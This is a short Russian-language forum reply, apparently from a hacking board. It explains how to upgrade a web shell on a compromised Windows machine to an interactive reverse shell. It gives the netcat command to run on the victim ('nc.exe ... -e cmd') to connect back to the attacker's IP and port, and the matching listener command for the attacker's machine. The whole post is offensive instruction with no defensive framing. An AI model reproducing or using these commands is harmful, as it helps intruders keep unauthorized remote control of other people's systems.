причем тут back-connect? допустим есть у тебя веб шелл на видновой машине..закидываешь туда неткат..с веб шела запускаешь его: nc.exe 192.168.1.1 4000 -e cmd , у себя открываешь консоль: c:\put_k_nc\nc.exe -l -p 4000 192.168.1.1 твой ip`шник, 4000 порт. насчет -e cmd точно не помню, в readme посмотри - там все подробно написано..